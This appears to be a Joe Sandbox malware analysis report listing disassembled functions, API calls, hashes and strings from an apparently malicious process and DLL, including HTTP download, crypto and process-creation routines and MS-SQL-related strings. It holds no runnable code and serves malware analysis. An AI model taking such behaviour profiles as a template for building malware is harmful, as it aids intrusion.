Opcode ID: 76dffae9026618f8df81bdff60689a894142e1f92af57a284ce43d8ba32f1e64
Instruction ID: 18d6638f6e8eb94cc453c510c384d5f91f53e11465182e8c07c39120dcc21a32
Opcode Fuzzy Hash: 76dffae9026618f8df81bdff60689a894142e1f92af57a284ce43d8ba32f1e64
Instruction Fuzzy Hash: 53E2B8B1F40304ABEB10DB95DC92BDF77A4EB18714F14003AF605BA382E779AD95871A

Function 0041B926 Relevance: 4.9, Strings: 3, Instructions: 1125COMMON

Download Yara Rule

Strings

,1433, xrefs: 0041C201
master, xrefs: 0041C277
GO, xrefs: 0041C3A7

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID: ,1433$GO$master
API String ID: 0-1253576699
Opcode ID: 2f962d2fc159054f7d211dda13d17771f6e2a9da112892d5bd4dfd0dd015c026
Instruction ID: e5e58655d5cbca85fc1ea3071cdaabe364d6650dc5da50386dfe3e00f4c36d4a
Opcode Fuzzy Hash: 2f962d2fc159054f7d211dda13d17771f6e2a9da112892d5bd4dfd0dd015c026
Instruction Fuzzy Hash: 578295B1E41208ABEB00EF95DCC2BEE77B9EB18314F14003AF605BB391D6796945CB56

Function 00401D30 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

`, xrefs: 00401DFD

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID: `
API String ID: 0-1850852036
Opcode ID: bbf974b3c7b3d4d42a3b7683020af96acf664647dccad61255dfe438f8bc49ab
Instruction ID: 47af8218505767afc4c9843ce9072caf245179472a1a0df2517c4678b32633c5
Opcode Fuzzy Hash: bbf974b3c7b3d4d42a3b7683020af96acf664647dccad61255dfe438f8bc49ab
Instruction Fuzzy Hash: 5C510C70E00309EBEF10DF91D9067AF7AB0AB14314F10817AF914792D1D7B95AA9CB9A

Function 0041C753 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02b2859a4d95fbb1985a52e486ee390ad09873d4f71f7704136c47b1ce0b1001
Instruction ID: 45ed82e35303f03905b93467940dd687f6d262b102d0e967afd56a1d18d672ed
Opcode Fuzzy Hash: 02b2859a4d95fbb1985a52e486ee390ad09873d4f71f7704136c47b1ce0b1001
Instruction Fuzzy Hash: C1017130A40308BBEF10DB80DCC2F9DBB30EB15714F1041AAFA443A2D1D1712A94CB56

Function 004029EA Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd215f0d87a1fa916e13623a90d4a876a287d542af38d71fe5fa018c6273a52f
Instruction ID: af5fba4bfaeadab297f798f414dc33d5ed8143dac54a2f60071a2df1acb0093c
Opcode Fuzzy Hash: bd215f0d87a1fa916e13623a90d4a876a287d542af38d71fe5fa018c6273a52f
Instruction Fuzzy Hash: EAF0F6729002089FDB20DF68D84168AB7A0EB44324F100579E849F7340E674BF54CBC1

Function 00402A46 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979a7bfe5cb09558a19b1016128bef8625699c4e184f4e25d0c1f79091f27368
Instruction ID: 32b42b8b3ca9c47bec6bd907ddf172f53b7cbc151748b0c13823c50952431af9
Opcode Fuzzy Hash: 979a7bfe5cb09558a19b1016128bef8625699c4e184f4e25d0c1f79091f27368
Instruction Fuzzy Hash: 11F02472B0021A5BDB20CA15DE807533399EFA0715B0DC435DC096B7C4FA78F9108AA4

Function 00417A19 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41d458bdfc5a3d4414123d16e2737fdab5500ed6a37da2729d7a108b64161e7
Instruction ID: 9a783eeaa956b590efa67831ea01f57ddef9826ad7668a813ae6b56e90476696
Opcode Fuzzy Hash: a41d458bdfc5a3d4414123d16e2737fdab5500ed6a37da2729d7a108b64161e7
Instruction Fuzzy Hash: B2C08CB3104454469900E42E6C85DDB7B58FFC1360F41093BF605174009820598AC0B2

Function 0041A628 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c957f2928b782d51372d3fc85ae30af56083b5587c3338079f59747dc6b1ea27
Instruction ID: 2c0cb0bfc07627ae9c5923419ccf4115364b9a6cb5e800ea3d38cd7a2595e922
Opcode Fuzzy Hash: c957f2928b782d51372d3fc85ae30af56083b5587c3338079f59747dc6b1ea27
Instruction Fuzzy Hash: B3C08CB3108098069900E42E6C45DDB7B18EBC2320F410D3FF605170008820698AC0F2

Function 0041C7EB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a411149c2ddc0cf970071f2a6eaeb430b0b14d061f7e6c69f29927db56eb943b
Instruction ID: 3e898586dfe1255781e6e6fe4daafa8ee787097c6e67f10fe9b181f871bc3d88
Opcode Fuzzy Hash: a411149c2ddc0cf970071f2a6eaeb430b0b14d061f7e6c69f29927db56eb943b
Instruction Fuzzy Hash: 74C08CB3504054069910E42EAC859EB7B18EBC1360F41083BF601175048920598AC0F2

Function 0041A647 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67a6f533418eb679377767eb24764ffa0b4ee511de1aab2f658912677cfc8be
Instruction ID: d0d0add202a75855e5d1a2a8cec5889eac8553e231256bfd109432da5d3c42bf
Opcode Fuzzy Hash: e67a6f533418eb679377767eb24764ffa0b4ee511de1aab2f658912677cfc8be
Instruction Fuzzy Hash: C4A0026724E160245460712BBC89CCF4F2CDDC26B921925ABF10644406052A45C6C0B8

Function 0041C80A Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1c0f4f55d653fb92c9d90e892ee9b2878354be46ed17c689b32cdb686fd654
Instruction ID: 9f0b02ac246cb8409c69a4d2dd9b063df576e6603436d8bbc2c71e216fb6788a
Opcode Fuzzy Hash: 2b1c0f4f55d653fb92c9d90e892ee9b2878354be46ed17c689b32cdb686fd654
Instruction Fuzzy Hash: DBA0026720B160245460312B7C99CCB4F1CD9D2ABD715556BF15944006041945D680F9

Function 00417A38 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0369ceac28b7268eb2509fb4f55baae85ebb58c4f48d8488fe273194569ea6
Instruction ID: 3fb7c64ab0b91ffe7dc13e27a22143ea6c515a67700dad59c3b40cf8df0ca270
Opcode Fuzzy Hash: fa0369ceac28b7268eb2509fb4f55baae85ebb58c4f48d8488fe273194569ea6
Instruction Fuzzy Hash: 4FA0025730A6B1249470716B7D8DCCB4F1CDAC2779111157BF11554086086944C688F4

Analysis Process: svchost.exePID: 3980, Parent PID: 620COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.5%
Total number of Nodes:	729
Total number of Limit Nodes:	8

Executed Functions

Function 1000A486 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 578
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,100332F9,100332F9,00000001,F0000000), ref: 1000A4F9
CryptAcquireContextA.ADVAPI32(?,100332F9,100332F9,00000001,00000000), ref: 1000A547
CryptCreateHash.ADVAPI32(?,?,?,00000000,?), ref: 1000A599
CryptReleaseContext.ADVAPI32(?,00000000), ref: 1000A5D7

Strings

0123456789ABCDEF, xrefs: 1000A820

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$CreateHashRelease
String ID: 0123456789ABCDEF
API String ID: 3535039526-2554083253
Opcode ID: 3920cf4a65dda5cc0e58e9b4c81ede3f82c0f4b3c7a05d1ccc905cb51e1a5156
Instruction ID: b67d377f1cc3c3eac7c8a6c34d854ab0111511fa5f06bc1860ea793da613dfdb
Opcode Fuzzy Hash: 3920cf4a65dda5cc0e58e9b4c81ede3f82c0f4b3c7a05d1ccc905cb51e1a5156
Instruction Fuzzy Hash: 471290B4E40318FBEB00DFA0EC86F9DBBB4FB09750F514125F604BA296EB7259948B51

Function 1000996F Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 302
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(HTTPREAD,00000000,00000000,00000000,00000000), ref: 100099D5
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,80000002,00000000), ref: 10009A1D
HttpQueryInfoA.WININET(?,20000005,?,?,00000000), ref: 10009AA3
InternetReadFile.WININET(?,?,?,?), ref: 10009B28
InternetReadFile.WININET(?,?,?,?), ref: 10009BFC
InternetCloseHandle.WININET(00000000), ref: 10009CB0
InternetCloseHandle.WININET(00000000), ref: 10009CE6

Strings

HTTPREAD, xrefs: 100099CE

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandleOpenRead$HttpInfoQuery
String ID: HTTPREAD
API String ID: 2392545979-1749695856
Opcode ID: 4ca79cb34061ab09e6789a5984ca68e0519e6cf54183c53fc27ac4d3f81f5668
Instruction ID: 5d060c9794d72efe89e3ff6b2b1ec2d595944a9578747cc97b51f448c6ca967b
Opcode Fuzzy Hash: 4ca79cb34061ab09e6789a5984ca68e0519e6cf54183c53fc27ac4d3f81f5668
Instruction Fuzzy Hash: 55A142B1E40308ABFB00DFA4DC86FEE7BB8EB19751F140025F604BA191E776A554CB65

Function 10015140 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 10015152
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,00000000), ref: 100151D1
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 100151EA
CloseHandle.KERNEL32(00000000), ref: 100151FB
CloseHandle.KERNEL32(?), ref: 10015202

Strings

D, xrefs: 1001514A

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
